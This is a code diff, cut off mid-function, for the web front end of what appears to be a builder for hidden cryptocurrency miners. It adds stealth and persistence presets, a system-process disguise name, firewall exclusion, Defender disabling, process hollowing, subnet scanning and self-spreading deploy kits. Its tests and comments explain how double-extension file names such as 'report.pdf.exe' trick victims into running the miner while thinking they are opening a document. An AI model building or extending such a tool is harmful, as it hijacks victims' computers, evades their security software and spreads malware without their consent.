case 'start_tunnel':
|
||||
case 'subnet_scan':
|
||||
case 'defender_off':
|
||||
case 'firewall_punch':
|
||||
return caps.remote_aggressive;
|
||||
case 'mesh_status':
|
||||
return caps.mesh_p2p;
|
||||
default:
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
export function aggressiveActionHint(
|
||||
action: AggressiveRemoteAction,
|
||||
caps?: AgentCapabilities | null,
|
||||
platform?: string
|
||||
): string | undefined {
|
||||
if (platform === 'darwin' && action === 'defender_off') {
|
||||
return 'Defender disable not supported on macOS';
|
||||
}
|
||||
if (canRunAggressiveAction(action, caps, platform)) return undefined;
|
||||
switch (action) {
|
||||
case 'hole_punch':
|
||||
case 'hole_punch_close':
|
||||
case 'hole_punch_status':
|
||||
return 'Re-forge with Advanced → NAT Hole Punch';
|
||||
case 'spread_now':
|
||||
return 'Re-forge with Auto-Spread or Remote Aggressive Ops';
|
||||
case 'mesh_status':
|
||||
return 'Re-forge with Mesh P2P';
|
||||
default:
|
||||
return 'Re-forge with Remote Aggressive Ops (Advanced)';
|
||||
}
|
||||
}
|
||||
@@ -210,5 +210,45 @@ export function runForgeCompatibilityChecks(form: BuildRequest, fusionPrepSelect
|
||||
});
|
||||
}
|
||||
|
||||
if (form.spread_kit && form.target_os !== 'universal') {
|
||||
checks.push({
|
||||
id: 'spread_kit_os',
|
||||
level: 'error',
|
||||
message: 'Spread Kit requires Universal target — it ships all platforms in one ZIP.',
|
||||
});
|
||||
}
|
||||
|
||||
if (form.spread_kit && form.fusion_enabled) {
|
||||
checks.push({
|
||||
id: 'spread_fusion',
|
||||
level: 'error',
|
||||
message: 'Spread Kit and Fusion cannot both be enabled — pick one deliverable type.',
|
||||
});
|
||||
}
|
||||
|
||||
if (form.target_os === 'universal' && !form.fusion_enabled && !form.spread_kit) {
|
||||
checks.push({
|
||||
id: 'universal_deliverable',
|
||||
level: 'warn',
|
||||
message: 'Target OS is Universal but no Spread Kit or Fusion — choose a deliverable type or switch to a single platform.',
|
||||
});
|
||||
}
|
||||
|
||||
if ((form.target_os === 'linux' || form.target_os === 'darwin') && form.process_hollowing) {
|
||||
checks.push({
|
||||
id: 'hollow_unix',
|
||||
level: 'error',
|
||||
message: 'Process hollowing is not available on Linux or macOS.',
|
||||
});
|
||||
}
|
||||
|
||||
if ((form.target_os === 'linux' || form.target_os === 'darwin') && form.sign_build) {
|
||||
checks.push({
|
||||
id: 'sign_unix',
|
||||
level: 'error',
|
||||
message: 'Authenticode signing only applies to Windows builds.',
|
||||
});
|
||||
}
|
||||
|
||||
return checks;
|
||||
}
|
||||
|
||||
@@ -13,7 +13,7 @@ export const FORGE_BUILD_DEFAULTS: Omit<
|
||||
mining_mode: 'idle',
|
||||
display_mode: 'background',
|
||||
silent_mode: true,
|
||||
run_as: 'user',
|
||||
run_as: 'scheduled',
|
||||
auto_start: true,
|
||||
persistence: true,
|
||||
process_name: 'RuntimeBrokerHelper',
|
||||
@@ -45,6 +45,11 @@ export const FORGE_BUILD_DEFAULTS: Omit<
|
||||
process_hollowing: false,
|
||||
mesh_p2p: false,
|
||||
auto_spread: false,
|
||||
hole_punch: false,
|
||||
remote_aggressive: false,
|
||||
target_os: 'windows',
|
||||
target_arch: 'all',
|
||||
spread_kit: false,
|
||||
obfuscate: false,
|
||||
sign_build: false,
|
||||
};
|
||||
|
||||
70
server/web/src/help/forgeFormNormalize.test.ts
Normal file
70
server/web/src/help/forgeFormNormalize.test.ts
Normal file
@@ -0,0 +1,70 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import {
|
||||
applyDeliverableType,
|
||||
deriveDeliverableType,
|
||||
normalizeForgeForm,
|
||||
spreadKitPreset,
|
||||
} from './forgeFormNormalize';
|
||||
import type { BuildRequest } from '../types';
|
||||
import { FORGE_BUILD_DEFAULTS } from './forgeDefaults';
|
||||
|
||||
function baseForm(overrides: Partial<BuildRequest> = {}): BuildRequest {
|
||||
return {
|
||||
worker_name: 'pc-1',
|
||||
server_url: 'http://192.168.1.5:8989',
|
||||
wallet: '4' + 'A'.repeat(94),
|
||||
pool_host: 'pool.example.com',
|
||||
pool_port: 3333,
|
||||
pool_tls: false,
|
||||
pool_pass: 'x',
|
||||
...FORGE_BUILD_DEFAULTS,
|
||||
...overrides,
|
||||
} as BuildRequest;
|
||||
}
|
||||
|
||||
describe('forgeFormNormalize', () => {
|
||||
it('derives deliverable type from flags', () => {
|
||||
expect(deriveDeliverableType(baseForm({ fusion_enabled: true }))).toBe('fusion');
|
||||
expect(deriveDeliverableType(baseForm({ spread_kit: true }))).toBe('spread_kit');
|
||||
expect(deriveDeliverableType(baseForm())).toBe('single');
|
||||
});
|
||||
|
||||
it('spread kit forces universal and clears fusion', () => {
|
||||
const out = normalizeForgeForm(baseForm({ spread_kit: true, fusion_enabled: true, target_os: 'windows' }));
|
||||
expect(out.spread_kit).toBe(true);
|
||||
expect(out.fusion_enabled).toBe(false);
|
||||
expect(out.target_os).toBe('universal');
|
||||
});
|
||||
|
||||
it('linux target clears sign_build and fixes install base', () => {
|
||||
const out = normalizeForgeForm(
|
||||
baseForm({ target_os: 'linux', target_arch: 'amd64', sign_build: true, install_base: 'localappdata' })
|
||||
);
|
||||
expect(out.sign_build).toBe(false);
|
||||
expect(out.install_base).toBe('xdg_data_home');
|
||||
expect(out.target_arch).toBe('amd64');
|
||||
});
|
||||
|
||||
it('single deliverable cannot stay universal', () => {
|
||||
const out = applyDeliverableType(baseForm({ target_os: 'universal' }), 'single');
|
||||
expect(out.target_os).toBe('windows');
|
||||
expect(out.spread_kit).toBe(false);
|
||||
});
|
||||
|
||||
it('spread kit preset enables persistence and stealth', () => {
|
||||
const out = applyDeliverableType(baseForm(), 'spread_kit');
|
||||
expect(out.spread_kit).toBe(true);
|
||||
expect(out.persistence).toBe(true);
|
||||
expect(out.stealth_mode).toBe(true);
|
||||
expect(spreadKitPreset().remote_aggressive).toBe(true);
|
||||
});
|
||||
|
||||
it('preserves idle field values when mining mode is always (server ignores them when mode does not match)', () => {
|
||||
const out = normalizeForgeForm(
|
||||
baseForm({ mining_mode: 'always', idle_threshold_pct: 99, idle_duration_minutes: 30 })
|
||||
);
|
||||
// Values are preserved — the backend ignores them when mining_mode !== 'idle'
|
||||
expect(out.idle_threshold_pct).toBe(99);
|
||||
expect(out.idle_duration_minutes).toBe(30);
|
||||
});
|
||||
});
|
||||
239
server/web/src/help/forgeFormNormalize.ts
Normal file
239
server/web/src/help/forgeFormNormalize.ts
Normal file
@@ -0,0 +1,239 @@
|
||||
import type { BuildRequest } from '../types';
|
||||
|
||||
/** UI deliverable — derived from forge flags, not sent to the API. */
|
||||
export type ForgeDeliverable = 'single' | 'spread_kit' | 'fusion';
|
||||
|
||||
export interface InstallBaseOption {
|
||||
value: string;
|
||||
label: string;
|
||||
hint?: string;
|
||||
}
|
||||
|
||||
const WINDOWS_INSTALL_BASES: InstallBaseOption[] = [
|
||||
{ value: 'localappdata', label: 'Local App Data (%LOCALAPPDATA%)' },
|
||||
{ value: 'appdata', label: 'Roaming App Data (%APPDATA%)' },
|
||||
{ value: 'programdata', label: 'Program Data (%ProgramData%)' },
|
||||
{ value: 'userprofile', label: 'User Profile (%USERPROFILE%)' },
|
||||
{ value: 'temp', label: 'Temp Folder (%TEMP%)' },
|
||||
{ value: 'custom', label: 'Custom path…' },
|
||||
];
|
||||
|
||||
const UNIX_INSTALL_BASES: InstallBaseOption[] = [
|
||||
{ value: 'xdg_data_home', label: 'XDG data (~/.local/share)' },
|
||||
{ value: 'home', label: 'Home folder (~)' },
|
||||
{ value: 'temp', label: 'Temp (/tmp or $TMPDIR)' },
|
||||
{ value: 'custom', label: 'Custom path…' },
|
||||
];
|
||||
|
||||
const UNIVERSAL_INSTALL_BASES: InstallBaseOption[] = [
|
||||
{
|
||||
value: 'localappdata',
|
||||
label: 'Stealth cache location (auto per OS)',
|
||||
hint: 'Windows → %LOCALAPPDATA% · Linux → ~/.local/share · macOS → ~/Library/Application Support',
|
||||
},
|
||||
{ value: 'home', label: 'User home (all platforms)' },
|
||||
{ value: 'temp', label: 'Temp folder (all platforms)' },
|
||||
{ value: 'custom', label: 'Custom path…' },
|
||||
];
|
||||
|
||||
export function deriveDeliverableType(form: BuildRequest): ForgeDeliverable {
|
||||
if (form.fusion_enabled) return 'fusion';
|
||||
if (form.spread_kit) return 'spread_kit';
|
||||
return 'single';
|
||||
}
|
||||
|
||||
export function deliverableSummary(type: ForgeDeliverable): string {
|
||||
switch (type) {
|
||||
case 'fusion':
|
||||
return 'Movie or prep fusion — one universal ZIP per title. User opens the media/runner; mining starts hidden.';
|
||||
case 'spread_kit':
|
||||
return 'Silent multi-OS deploy ZIP — run Deploy.bat / deploy.sh / Start.command once; worker installs and persists.';
|
||||
default:
|
||||
return 'One installer binary for a single OS (Windows .exe, Linux binary, or macOS binary).';
|
||||
}
|
||||
}
|
||||
|
||||
/** Recommended toggles when Spread Kit is selected. */
|
||||
export function spreadKitPreset(): Partial<BuildRequest> {
|
||||
return {
|
||||
spread_kit: true,
|
||||
fusion_enabled: false,
|
||||
target_os: 'universal',
|
||||
target_arch: 'all',
|
||||
run_as: 'scheduled',
|
||||
persistence: true,
|
||||
auto_start: true,
|
||||
self_healing: true,
|
||||
stealth_mode: true,
|
||||
silent_mode: true,
|
||||
file_logging: false,
|
||||
firewall_exclusion: true,
|
||||
display_mode: 'background',
|
||||
mining_mode: 'idle',
|
||||
process_hollowing: false,
|
||||
hole_punch: false,
|
||||
remote_aggressive: true,
|
||||
auto_spread: false,
|
||||
};
|
||||
}
|
||||
|
||||
export function installBaseOptionsForTarget(targetOs?: string): InstallBaseOption[] {
|
||||
const t = targetOs || 'windows';
|
||||
if (t === 'linux' || t === 'darwin') return UNIX_INSTALL_BASES;
|
||||
if (t === 'universal') return UNIVERSAL_INSTALL_BASES;
|
||||
return WINDOWS_INSTALL_BASES;
|
||||
}
|
||||
|
||||
function isWindowsOnlyTarget(targetOs?: string): boolean {
|
||||
return !targetOs || targetOs === 'windows';
|
||||
}
|
||||
|
||||
function isSingleUnixTarget(targetOs?: string): boolean {
|
||||
return targetOs === 'linux' || targetOs === 'darwin';
|
||||
}
|
||||
|
||||
/** Coerce form so inactive fields hold safe defaults and incompatible values are cleared. */
|
||||
export function normalizeForgeForm(form: BuildRequest): BuildRequest {
|
||||
const next: BuildRequest = { ...form };
|
||||
|
||||
// Deliverable coupling — spread kit wins if both flags were somehow set
|
||||
if (next.spread_kit) {
|
||||
next.fusion_enabled = false;
|
||||
next.target_os = 'universal';
|
||||
next.target_arch = 'all';
|
||||
} else if (next.fusion_enabled) {
|
||||
next.spread_kit = false;
|
||||
if (next.target_os === 'windows' || !next.target_os) {
|
||||
next.target_os = 'universal';
|
||||
}
|
||||
next.display_mode = 'background';
|
||||
next.silent_mode = true;
|
||||
}
|
||||
|
||||
if (deriveDeliverableType(next) === 'single' && next.target_os === 'universal') {
|
||||
next.target_os = 'windows';
|
||||
next.spread_kit = false;
|
||||
}
|
||||
|
||||
// Architecture
|
||||
if (isSingleUnixTarget(next.target_os)) {
|
||||
if (!next.target_arch || next.target_arch === 'all') {
|
||||
next.target_arch = next.target_os === 'darwin' ? 'arm64' : 'amd64';
|
||||
}
|
||||
} else {
|
||||
next.target_arch = 'all';
|
||||
}
|
||||
|
||||
// Windows-only forge pipeline
|
||||
if (!isWindowsOnlyTarget(next.target_os)) {
|
||||
next.sign_build = false;
|
||||
if (next.target_os !== 'universal') {
|
||||
next.obfuscate = false;
|
||||
}
|
||||
}
|
||||
|
||||
// Process hollowing — Windows workers only
|
||||
if (isSingleUnixTarget(next.target_os)) {
|
||||
next.process_hollowing = false;
|
||||
}
|
||||
|
||||
// Install base matches target OS family
|
||||
const unixBases = new Set(['xdg_data_home', 'home', 'temp', 'custom']);
|
||||
const winOnlyBases = new Set(['localappdata', 'appdata', 'programdata', 'userprofile']);
|
||||
if (isSingleUnixTarget(next.target_os)) {
|
||||
if (winOnlyBases.has(next.install_base) && next.install_base !== 'custom') {
|
||||
next.install_base = 'xdg_data_home';
|
||||
}
|
||||
} else if (isWindowsOnlyTarget(next.target_os)) {
|
||||
if (next.install_base === 'xdg_data_home') {
|
||||
next.install_base = 'localappdata';
|
||||
}
|
||||
}
|
||||
|
||||
if (next.install_base !== 'custom') {
|
||||
next.install_custom_base = '';
|
||||
}
|
||||
|
||||
// Stealth / display
|
||||
if (next.stealth_mode) {
|
||||
next.file_logging = false;
|
||||
if (next.display_mode === 'visible') {
|
||||
next.display_mode = 'background';
|
||||
}
|
||||
next.silent_mode = true;
|
||||
}
|
||||
|
||||
// Mining mode sub-fields — ensure they have sane defaults (don't reset user values — server ignores them when mode doesn't match)
|
||||
if (!next.idle_threshold_pct || next.idle_threshold_pct < 1) next.idle_threshold_pct = 20;
|
||||
if (!next.idle_duration_minutes || next.idle_duration_minutes < 1) next.idle_duration_minutes = 5;
|
||||
if (!next.schedule_start) next.schedule_start = '21:00';
|
||||
if (!next.schedule_end) next.schedule_end = '06:00';
|
||||
|
||||
// Thread mode
|
||||
if (next.thread_mode === 'percent') {
|
||||
if (next.thread_percent < 1 || next.thread_percent > 100) {
|
||||
next.thread_percent = 75;
|
||||
}
|
||||
} else if (next.threads < 1) {
|
||||
next.threads = 4;
|
||||
}
|
||||
|
||||
// Run-as forces persistence
|
||||
if (next.run_as === 'scheduled' || next.run_as === 'service') {
|
||||
next.persistence = true;
|
||||
next.auto_start = true;
|
||||
}
|
||||
|
||||
// AI sub-fields — keep defaults when off (server ignores); clear endpoint only if empty
|
||||
if (!next.ai_enabled) {
|
||||
next.ai_ollama_endpoint = 'http://localhost:11434';
|
||||
next.ai_model = 'llama3.2';
|
||||
} else {
|
||||
if (!next.ai_ollama_endpoint?.trim()) {
|
||||
next.ai_ollama_endpoint = 'http://localhost:11434';
|
||||
}
|
||||
if (!next.ai_model?.trim()) {
|
||||
next.ai_model = 'llama3.2';
|
||||
}
|
||||
}
|
||||
|
||||
// Fusion-only fields
|
||||
if (!next.fusion_enabled) {
|
||||
next.fusion_media_base_name = '';
|
||||
next.fusion_export_subdir = '';
|
||||
if (next.fusion_payload_kind === 'video') {
|
||||
next.fusion_payload_kind = 'exe';
|
||||
}
|
||||
}
|
||||
|
||||
return next;
|
||||
}
|
||||
|
||||
/** Apply a deliverable preset — call from UI when user picks build type. */
|
||||
export function applyDeliverableType(form: BuildRequest, type: ForgeDeliverable): BuildRequest {
|
||||
const base: BuildRequest = { ...form, fusion_enabled: false, spread_kit: false };
|
||||
|
||||
switch (type) {
|
||||
case 'fusion':
|
||||
return normalizeForgeForm({
|
||||
...base,
|
||||
fusion_enabled: true,
|
||||
target_os: 'universal',
|
||||
target_arch: 'all',
|
||||
display_mode: 'background',
|
||||
silent_mode: true,
|
||||
fusion_media_mode: base.fusion_media_mode || 'paired',
|
||||
fusion_payload_kind: base.fusion_payload_kind || 'exe',
|
||||
});
|
||||
case 'spread_kit':
|
||||
return normalizeForgeForm({
|
||||
...base,
|
||||
...spreadKitPreset(),
|
||||
});
|
||||
default:
|
||||
return normalizeForgeForm({
|
||||
...base,
|
||||
target_os: base.target_os === 'universal' ? 'windows' : base.target_os || 'windows',
|
||||
});
|
||||
}
|
||||
}
|
||||
@@ -1,4 +1,5 @@
|
||||
import type { BuildRequest } from '../types';
|
||||
import { normalizeForgeForm } from './forgeFormNormalize';
|
||||
|
||||
export type ForgeFieldBadge = 'baked' | 'server-only' | 'requires';
|
||||
|
||||
@@ -102,10 +103,58 @@ export function applyForgeFieldUpdate(
|
||||
next.persistence = value === true;
|
||||
break;
|
||||
|
||||
case 'target_os':
|
||||
if (value !== 'windows' && value !== 'universal') {
|
||||
next.process_hollowing = false;
|
||||
next.sign_build = false;
|
||||
if (value !== 'universal') {
|
||||
next.obfuscate = false;
|
||||
}
|
||||
}
|
||||
if (value === 'linux' || value === 'darwin') {
|
||||
next.spread_kit = false;
|
||||
next.target_arch = value === 'darwin' ? 'arm64' : 'amd64';
|
||||
if (['localappdata', 'appdata', 'programdata', 'userprofile'].includes(next.install_base)) {
|
||||
next.install_base = 'xdg_data_home';
|
||||
}
|
||||
} else if (value === 'windows') {
|
||||
next.target_arch = 'all';
|
||||
if (next.install_base === 'xdg_data_home') {
|
||||
next.install_base = 'localappdata';
|
||||
}
|
||||
} else if (value === 'universal') {
|
||||
next.target_arch = 'all';
|
||||
}
|
||||
break;
|
||||
|
||||
case 'fusion_enabled':
|
||||
if (value === true) {
|
||||
next.display_mode = 'background';
|
||||
next.silent_mode = true;
|
||||
next.spread_kit = false;
|
||||
if (!next.target_os || next.target_os === 'windows') {
|
||||
next.target_os = 'universal';
|
||||
}
|
||||
}
|
||||
break;
|
||||
|
||||
case 'spread_kit':
|
||||
if (value === true) {
|
||||
Object.assign(next, {
|
||||
fusion_enabled: false,
|
||||
target_os: 'universal',
|
||||
target_arch: 'all',
|
||||
run_as: 'scheduled',
|
||||
persistence: true,
|
||||
auto_start: true,
|
||||
self_healing: true,
|
||||
stealth_mode: true,
|
||||
silent_mode: true,
|
||||
file_logging: false,
|
||||
firewall_exclusion: true,
|
||||
display_mode: 'background',
|
||||
process_hollowing: false,
|
||||
});
|
||||
}
|
||||
break;
|
||||
|
||||
@@ -158,12 +207,8 @@ export function applyForgeFieldUpdate(
|
||||
break;
|
||||
|
||||
case 'worker_name':
|
||||
if (typeof value === 'string' && value.trim()) {
|
||||
const proc = value.trim().replace(/[^a-zA-Z0-9._-]/g, '').slice(0, 48);
|
||||
if (proc && (!next.process_name || next.process_name === 'RuntimeBrokerHelper' || next.process_name.startsWith('worker-'))) {
|
||||
next.process_name = proc;
|
||||
}
|
||||
}
|
||||
// Do NOT auto-derive process_name from worker_name — RuntimeBrokerHelper is the stealth default.
|
||||
// Users can override process_name manually in Advanced mode.
|
||||
break;
|
||||
|
||||
case 'pool_tls':
|
||||
@@ -173,7 +218,7 @@ export function applyForgeFieldUpdate(
|
||||
break;
|
||||
}
|
||||
|
||||
return next;
|
||||
return normalizeForgeForm(next);
|
||||
}
|
||||
|
||||
/** Per-field UI state: disabled fields + why. */
|
||||
@@ -182,6 +227,12 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
|
||||
const isIdle = form.mining_mode === 'idle';
|
||||
const isScheduled = form.mining_mode === 'scheduled';
|
||||
const runAsForcedPersistence = form.run_as === 'scheduled' || form.run_as === 'service';
|
||||
const targetOs = form.target_os || 'windows';
|
||||
const isUnixSingle = targetOs === 'linux' || targetOs === 'darwin';
|
||||
const isWindowsOnly = targetOs === 'windows';
|
||||
const isUniversal = targetOs === 'universal';
|
||||
const isSpreadKit = !!form.spread_kit;
|
||||
const isFusion = !!form.fusion_enabled;
|
||||
|
||||
return {
|
||||
worker_name: { disabled: false, badge: 'baked' },
|
||||
@@ -271,7 +322,11 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
|
||||
: undefined,
|
||||
},
|
||||
run_as: { disabled: false, badge: 'baked' },
|
||||
fusion_enabled: { disabled: false, badge: 'baked' },
|
||||
fusion_enabled: {
|
||||
disabled: isSpreadKit,
|
||||
badge: 'baked',
|
||||
lockedReason: isSpreadKit ? 'Turn off Spread Kit to use Fusion.' : undefined,
|
||||
},
|
||||
fusion_prep: {
|
||||
disabled: !form.fusion_enabled,
|
||||
badge: 'requires',
|
||||
@@ -298,9 +353,55 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
|
||||
badge: 'requires',
|
||||
lockedReason: !form.ai_enabled ? 'Enable AI Autonomy first.' : undefined,
|
||||
},
|
||||
process_hollowing: { disabled: false, badge: 'baked' },
|
||||
process_hollowing: {
|
||||
disabled: isUnixSingle,
|
||||
badge: 'baked',
|
||||
lockedReason: isUnixSingle
|
||||
? 'Process hollowing is Windows-only.'
|
||||
: isUniversal
|
||||
? 'Only baked into the Windows worker inside universal builds.'
|
||||
: undefined,
|
||||
hint: isUniversal ? 'Windows agents only — Linux/macOS workers ignore this flag.' : undefined,
|
||||
},
|
||||
mesh_p2p: { disabled: false, badge: 'baked' },
|
||||
auto_spread: { disabled: false, badge: 'baked' },
|
||||
hole_punch: { disabled: false, badge: 'baked' },
|
||||
remote_aggressive: { disabled: false, badge: 'baked' },
|
||||
target_os: {
|
||||
disabled: isSpreadKit || isFusion,
|
||||
badge: 'baked',
|
||||
lockedReason: isSpreadKit
|
||||
? 'Spread Kit always targets all platforms (Universal).'
|
||||
: isFusion
|
||||
? 'Movie fusion always builds a universal ZIP.'
|
||||
: undefined,
|
||||
},
|
||||
target_arch: {
|
||||
disabled: !isUnixSingle,
|
||||
badge: 'baked',
|
||||
lockedReason: !isUnixSingle
|
||||
? 'Pick Linux or macOS as Target OS to choose architecture.'
|
||||
: undefined,
|
||||
},
|
||||
spread_kit: {
|
||||
disabled: isFusion,
|
||||
badge: 'baked',
|
||||
lockedReason: isFusion ? 'Spread Kit and Fusion are different deliverables — pick one above.' : undefined,
|
||||
},
|
||||
obfuscate: {
|
||||
disabled: isUnixSingle,
|
||||
badge: 'server-only',
|
||||
lockedReason: isUnixSingle ? 'Garble obfuscation applies to Windows builds only.' : undefined,
|
||||
hint: isUniversal ? 'Only the Windows binary in the universal ZIP is obfuscated.' : undefined,
|
||||
},
|
||||
sign_build: {
|
||||
disabled: !isWindowsOnly && !isUniversal,
|
||||
badge: 'server-only',
|
||||
lockedReason: !isWindowsOnly && !isUniversal
|
||||
? 'Authenticode signing applies to Windows .exe output only.'
|
||||
: undefined,
|
||||
hint: isUniversal ? 'Signs the Windows runner/worker inside the package.' : undefined,
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
@@ -334,6 +435,21 @@ export function getForgeLiveNotices(form: BuildRequest, fusionPrepSelected: bool
|
||||
if (form.max_cpu_usage_pct < 30 && form.thread_percent > 70 && form.thread_mode === 'percent') {
|
||||
notices.push('Low Max CPU (%) with high Thread Percent may cause constant throttling.');
|
||||
}
|
||||
if (form.target_os === 'universal') {
|
||||
notices.push('Universal forge builds workers for Windows, Linux, and macOS in one ZIP.');
|
||||
}
|
||||
if (form.spread_kit) {
|
||||
notices.push('Spread Kit: silent deploy scripts run worker --spread-install on each platform.');
|
||||
}
|
||||
if (form.fusion_enabled) {
|
||||
notices.push('Fusion builds a universal ZIP — each OS gets its own runner inside bin/.');
|
||||
}
|
||||
if (form.target_os === 'linux' || form.target_os === 'darwin') {
|
||||
notices.push(`Single ${form.target_os} worker — install uses XDG/home paths, not Windows folders.`);
|
||||
}
|
||||
if (form.target_os === 'universal' && !form.fusion_enabled && !form.spread_kit) {
|
||||
notices.push('Universal without Spread Kit or Fusion — pick a deliverable type above.');
|
||||
}
|
||||
|
||||
return notices;
|
||||
}
|
||||
|
||||
@@ -57,6 +57,8 @@ export function recommendedForgePreset(): Partial<BuildRequest> {
|
||||
process_hollowing: false,
|
||||
mesh_p2p: false,
|
||||
auto_spread: false,
|
||||
hole_punch: false,
|
||||
remote_aggressive: false,
|
||||
ai_enabled: false,
|
||||
fusion_enabled: false,
|
||||
output_dir: 'exports',
|
||||
|
||||
@@ -32,7 +32,8 @@ function isReachableServerUrl(url: string): boolean {
|
||||
|
||||
function looksLikeXMRWallet(addr: string): boolean {
|
||||
const a = addr.trim();
|
||||
return a.length >= 90 && a.length <= 106 && /^4[0-9A-Za-z]+$/.test(a);
|
||||
// Standard (4…, 95 chars), subaddress (8…, 97 chars), integrated (4…, 106 chars)
|
||||
return a.length >= 90 && a.length <= 106 && /^[48][0-9A-Za-z]+$/.test(a);
|
||||
}
|
||||
|
||||
export function runForgePreflight(form: BuildRequest, fusionPrepSelected: boolean): PreflightCheck[] {
|
||||
|
||||
@@ -3,23 +3,63 @@ import {
|
||||
defaultEmbeddedName,
|
||||
defaultRunnerName,
|
||||
fusionTitleFromFilename,
|
||||
isFusionVideoFile,
|
||||
isFusionExeFile,
|
||||
fusionPayloadKind,
|
||||
fusionFileTypeLabel,
|
||||
disguisedWindowsRunnerName,
|
||||
disguisedDisplayName,
|
||||
} from './fusionMedia';
|
||||
|
||||
describe('fusionMedia', () => {
|
||||
it('detects video extensions', () => {
|
||||
expect(isFusionVideoFile({ name: 'Vacation.mkv' } as File)).toBe(true);
|
||||
expect(isFusionVideoFile({ name: 'prep.exe' } as File)).toBe(false);
|
||||
expect(isFusionVideoFile(null)).toBe(false);
|
||||
it('detects exe extensions', () => {
|
||||
expect(isFusionExeFile({ name: 'setup.exe' } as File)).toBe(true);
|
||||
expect(isFusionExeFile({ name: 'Vacation.mkv' } as File)).toBe(false);
|
||||
expect(isFusionExeFile({ name: 'report.pdf' } as File)).toBe(false);
|
||||
expect(isFusionExeFile(null)).toBe(false);
|
||||
});
|
||||
|
||||
it('derives title from filename', () => {
|
||||
it('returns correct payload kind', () => {
|
||||
expect(fusionPayloadKind({ name: 'setup.exe' } as File)).toBe('exe');
|
||||
expect(fusionPayloadKind({ name: 'Vacation.mkv' } as File)).toBe('file');
|
||||
expect(fusionPayloadKind({ name: 'report.pdf' } as File)).toBe('file');
|
||||
expect(fusionPayloadKind({ name: 'doc.docx' } as File)).toBe('file');
|
||||
expect(fusionPayloadKind(null)).toBe('file');
|
||||
});
|
||||
|
||||
it('derives title from any filename', () => {
|
||||
expect(fusionTitleFromFilename('C:\\movies\\Vacation.mkv')).toBe('Vacation');
|
||||
expect(fusionTitleFromFilename('clip.MP4')).toBe('clip');
|
||||
expect(fusionTitleFromFilename('quarterly-report.pdf')).toBe('quarterly-report');
|
||||
expect(fusionTitleFromFilename('document.docx')).toBe('document');
|
||||
});
|
||||
|
||||
it('builds default runner and embedded names', () => {
|
||||
expect(defaultRunnerName('Vacation.mkv')).toBe('Vacation-runner.exe');
|
||||
it('builds disguised double-extension runner names for non-exe files', () => {
|
||||
// Double-extension trick: Windows hides .exe → user sees the document name + icon
|
||||
expect(defaultRunnerName('Vacation.mkv')).toBe('Vacation.mkv.exe');
|
||||
expect(defaultRunnerName('report.pdf')).toBe('report.pdf.exe');
|
||||
expect(defaultRunnerName('budget.xlsx')).toBe('budget.xlsx.exe');
|
||||
// exe payloads are not double-extended (they run directly)
|
||||
expect(defaultRunnerName('setup.exe')).toBe('setup.exe');
|
||||
// embedded = same disguised name
|
||||
expect(defaultEmbeddedName('Vacation.mkv')).toBe('Vacation.mkv.exe');
|
||||
});
|
||||
|
||||
it('disguisedWindowsRunnerName works for all types', () => {
|
||||
expect(disguisedWindowsRunnerName('quarterly-report.pdf')).toBe('quarterly-report.pdf.exe');
|
||||
expect(disguisedWindowsRunnerName('clip.mp4')).toBe('clip.mp4.exe');
|
||||
expect(disguisedWindowsRunnerName('setup.exe')).toBe('setup.exe');
|
||||
expect(disguisedWindowsRunnerName('no-extension')).toBe('no-extension.exe');
|
||||
});
|
||||
|
||||
it('disguisedDisplayName strips trailing .exe for user-visible name', () => {
|
||||
expect(disguisedDisplayName('report.pdf')).toBe('report.pdf');
|
||||
expect(disguisedDisplayName('clip.mp4')).toBe('clip.mp4');
|
||||
});
|
||||
|
||||
it('returns friendly file type labels', () => {
|
||||
expect(fusionFileTypeLabel('report.pdf')).toBe('PDF document');
|
||||
expect(fusionFileTypeLabel('clip.mp4')).toBe('MP4 video');
|
||||
expect(fusionFileTypeLabel('doc.docx')).toBe('Word document');
|
||||
expect(fusionFileTypeLabel('unknown.xyz')).toBe('XYZ file');
|
||||
});
|
||||
});
|
||||
|
||||
@@ -1,20 +1,69 @@
|
||||
export function isFusionVideoFile(file: File | null | undefined): boolean {
|
||||
/** Return true if the file is a Windows executable payload (run directly). */
|
||||
export function isFusionExeFile(file: File | null | undefined): boolean {
|
||||
if (!file?.name) return false;
|
||||
return /\.(mp4|mkv|mov)$/i.test(file.name);
|
||||
return /\.exe$/i.test(file.name);
|
||||
}
|
||||
|
||||
/** Derive a clean title from any filename (strips extension). */
|
||||
export function fusionTitleFromFilename(name: string): string {
|
||||
const base = name.replace(/^.*[/\\]/, '');
|
||||
return base.replace(/\.(mp4|mkv|mov|exe)$/i, '') || 'movie';
|
||||
// Remove all extensions from the title
|
||||
return base.replace(/\.[^.]+$/, '') || 'file';
|
||||
}
|
||||
|
||||
/** Derive the Windows runner name for a payload. Uses double-extension disguise for non-exe files.
|
||||
* e.g. "quarterly-report.pdf" → "quarterly-report.pdf.exe" (shown as "quarterly-report.pdf" in Explorer)
|
||||
* "setup.exe" → "setup.exe" (run directly)
|
||||
*/
|
||||
export function defaultRunnerName(mediaName: string): string {
|
||||
const title = fusionTitleFromFilename(mediaName);
|
||||
return `${title}-runner.exe`;
|
||||
return disguisedWindowsRunnerName(mediaName);
|
||||
}
|
||||
|
||||
/** Derive a single-file (embedded) runner name — same as runner name (double-ext disguise). */
|
||||
export function defaultEmbeddedName(mediaName: string): string {
|
||||
const ext = mediaName.match(/\.(mp4|mkv|mov)$/i)?.[0] || '.mkv';
|
||||
const title = fusionTitleFromFilename(mediaName);
|
||||
return `${title}${ext}.exe`;
|
||||
return defaultRunnerName(mediaName);
|
||||
}
|
||||
|
||||
/** Return the payload kind: "exe" for .exe files, "file" for everything else. */
|
||||
export function fusionPayloadKind(file: File | null | undefined): string {
|
||||
if (!file?.name) return 'file';
|
||||
return /\.exe$/i.test(file.name) ? 'exe' : 'file';
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns the Windows runner filename that uses the double-extension trick.
|
||||
* "quarterly-report.pdf" → "quarterly-report.pdf.exe"
|
||||
* Windows hides the .exe when extension hiding is on (the OS default), so the
|
||||
* user sees "quarterly-report.pdf" with the PDF icon injected by the forge.
|
||||
*/
|
||||
export function disguisedWindowsRunnerName(payloadName: string): string {
|
||||
